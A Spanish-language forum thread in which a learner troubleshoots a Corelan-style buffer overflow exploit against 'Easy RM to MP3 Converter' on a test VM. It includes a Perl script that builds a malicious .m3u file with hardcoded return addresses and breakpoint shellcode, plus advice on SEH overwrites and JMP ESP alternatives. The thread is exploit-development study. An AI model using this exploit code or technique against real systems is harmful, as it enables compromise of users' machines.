Extraño salto técnica POP POP RET

Iniciado por Lodos76, 31 Marzo 2014, 23:31 PM

0 Miembros y 1 Visitante están viendo este tema.

Lodos76

Buenos días.

Hoy me he instalado una máquina virtual con Windows XP Professional x86 Spanish, y le he deshabilitado el DEP.

Pues bueno, estaba probando el exploit POPPOPRET_JMPESP.pl que tenía para "Easy RM to MP3 Converter" (sí, el programa del tutorial de Corelan), y  no me ha ido, así que he hecho 2 pruebas:

La primera, y satisfactoria, sustituyendo el JMP ESP que tendría que saltar al principio de la shellcode, por "CCCC" (\x43\x43\x43\x43), y me da error intentando ejecutar esa dirección. Proseguimos.
Código: http://pastebin.com/qm8BR1dT
Screenshot: http://www.subeimagenes.com/img/jmpesp-is-cccc-903645.jpg

Y la segunda, poniendo al JMP ESP una dirección válida y poniendo una shellcode que son muchos breakpoints. Aquí se produce un error en la dirección que ha intentado ejecutar, y que JMP ESP no apunta sólo a breakpoints.
Código: http://pastebin.com/9zy6R2YL
Screenshot: http://www.subeimagenes.com/img/shellcode-is-breakpoints-903658.jpg





La pila original está así:
__________________________________________________
| Buffer que tendremos que llenar con Aes
|__________________________________________________|
| RET ADDRESSS que sustituiremos por un POP POP RET
|__________________________________________________|
| 4 bytes de basura que sustituiremos por "XXXX"
|__________________________________________________|
| Aquí apunta ESP antes de que se ejecute el POP POP RET, y
| que sustituiremos con 4 NOPs
|__________________________________________________|
| 4 bytes de basura que sustituiremos con 4 NOPs
|__________________________________________________|
| 4 bytes de basura a la que apuntará ESP después, y
| que sustituiremos por un JMP ESP, y recogerá de la pila
| la instrucción RET que hemos puesto nosotros
|__________________________________________________|
| Aquí empieza la shellcode y es donde apuntará
| el JMP ESP cuando se ejecute
|__________________________________________________|

Gracias por la ayuda :).

Lodos76


.:UND3R:.

No entiendo muy bien tu duda. Bueno en cuanto a POP POP RET, es utilizado cuando la excepción es manejada por un manejador de excepciones, en tal caso la idea consiste en sobre-escribir la estructura SEH la cual está compuesta por dos parámetros DWORD, para ello:
- EIP debe apuntar al manejador de excepciones actuales (SEH) el cual debe contener una dirección POP POP RET.
- NSEH primer parámetro de la estructura SEH debe apuntar a un salto que se encargue de saltar la dirección POP POP RET

SEH - > JMP SHELLCODE
NSEH -> POP POP RETN
SHELLCODE

Recuerda que puedes ver en OllyDbg la estructura SEH actual, por lo cual desde ella debes obtener el desplazamiento adecuado para controlar tal estructura, saludos.

Solicitudes de crack, keygen, serial solo a través de mensajes privados (PM)

Lodos76

#3
Cita de: .:UND3R:. en  3 Abril 2014, 01:52 AM
No entiendo muy bien tu duda. Bueno en cuanto a POP POP RET, es utilizado cuando la excepción es manejada por un manejador de excepciones, en tal caso la idea consiste en sobre-escribir la estructura SEH la cual está compuesta por dos parámetros DWORD, para ello:
- EIP debe apuntar al manejador de excepciones actuales (SEH) el cual debe contener una dirección POP POP RET.
- NSEH primer parámetro de la estructura SEH debe apuntar a un salto que se encargue de saltar la dirección POP POP RET

SEH - > JMP SHELLCODE
NSEH -> POP POP RETN
SHELLCODE

Recuerda que puedes ver en OllyDbg la estructura SEH actual, por lo cual desde ella debes obtener el desplazamiento adecuado para controlar tal estructura, saludos.

mm... Bueno saberlo. Eso no está en el PDF, aunque supongo que eso lo explicarán más adelante.

Con respecto a mi duda, quiero decir que no se explota bien, es decir, si mi shellcode es la que pongo a continuación, se cuela un \x65 en la shellcode y no sé por qué, además de que hay 28 breakpoints, y no 32.

Exploit:
Código (perl) [Seleccionar]

# Generated file: C:\Documents and Settings\Adminitrador\Escritorio\pop-ret.m3u

# Technique used: POP + POP + RET + JMP ESP

my $file= "pop-ret.m3u";
my $junk= "A" x 26061;
my $eip = pack('V',0x01BD1111); # "pop pop ret" from MSRMCcodec02.dll
my $jmpesp = pack('V',0x7E41A323); # "jmp esp" from user32.dll
my $prependesp = "XXXX"; # add 4 bytes so ESP points at beginning of shellcode bytes
my $shellcode = "\x90" x 8; #add more bytes
$shellcode = $shellcode . $jmpesp; #address to return via pop pop ret ( = jmp esp)

# Shellcode = 32 breakpoints
$shellcode = shellcode .
"\xcc" x (4*8); # 32 bytes

open($FILE,">$file");
print $FILE $junk.$eip.$prependesp.$shellcode;
close($FILE);
print "Archivo m3u creado con exito.\n";





Screenshot: http://www.subeimagenes.com/img/error-shellcode-908018.jpg

.:UND3R:.

Si se cuela un byte adicional es por que en el buffer no se está almacenando correctamente o hay bytes no permitidos, por lo cual deberías codificar tu shellcode o desplazarla, saludos.

Solicitudes de crack, keygen, serial solo a través de mensajes privados (PM)

Lodos76

Cita de: .:UND3R:. en  3 Abril 2014, 16:27 PM
Si se cuela un byte adicional es por que en el buffer no se está almacenando correctamente o hay bytes no permitidos, por lo cual deberías codificar tu shellcode o desplazarla, saludos.

Ya, pero no tiene sentido...
En el primer ejemplo que he puesto en el primer post, sustituyo el JMP ESP por "CCCC", entonces EIP intenta ejecutar 43434343, y ESP apunta en ese momento a mi shellcode perfecta. En cambio, si pongo un JMP ESP válido (lo he comprobado muchas veces), la shellcode de 32 breakpoints y el EIP están corruptos.

Lodos76

Otra cosa que no he hecho, pero que no entiendo es... Si uso "findjmp.exe" con una DLL del programa para buscar algún JMP ESP, me muestra unos cuantos, pero una vez abierto con Olly el programa (una vez lanzado el exploit) y buscado "JMP ESP" en esa misma DLL, no encuentro ninguna.
La posible explicación que podría darle es que el programa no carga en memoria todas las funciones de la DLL. ¿Es correcto?

MCKSys Argentina

Cita de: Lodos76 en  3 Abril 2014, 22:01 PM
Otra cosa que no he hecho, pero que no entiendo es... Si uso "findjmp.exe" con una DLL del programa para buscar algún JMP ESP, me muestra unos cuantos, pero una vez abierto con Olly el programa (una vez lanzado el exploit) y buscado "JMP ESP" en esa misma DLL, no encuentro ninguna.
La posible explicación que podría darle es que el programa no carga en memoria todas las funciones de la DLL. ¿Es correcto?

No. Olly tiene un problema cuando busca opcodes, si el modulo ha sido analizado.

Para verificarlko, quitale el analisis al modulo y veras que encuentra los comandos que encontro findjmp.

Saludos!
MCKSys Argentina

"Si piensas que algo está bien sólo porque todo el mundo lo cree, no estás pensando."


Lodos76

Cita de: MCKSys Argentina en  3 Abril 2014, 22:26 PM
No. Olly tiene un problema cuando busca opcodes, si el modulo ha sido analizado.

Para verificarlko, quitale el analisis al modulo y veras que encuentra los comandos que encontro findjmp.

Saludos!

Pues es extraño lo que dices, ya que si cojo la dirección que me ha dado findjmp.exe no me funciona el exploit (otro, el simple stack based overflow), pero si pongo la dirección obtenida con Olly SÍ me funciona :/.

MCKSys Argentina

El que tiene el problema de busqueda con analisis es Olly 1.10. Si usas Olly 2 no deberias tenerlo.

De cualquier forma, si en Olly no encuentras los opcodes del comando, es probable que no esten y que findjmp falle.

Recuerda que puedes buscar alternativas a un JMP ESP, como por ej.: PUSH ESP-RET, CALL ESP, MOV R32, ESP-CALL/JMP R32, etc. etc

Saludos!

PD: El EXE no tiene ASLR, no?  :P
MCKSys Argentina

"Si piensas que algo está bien sólo porque todo el mundo lo cree, no estás pensando."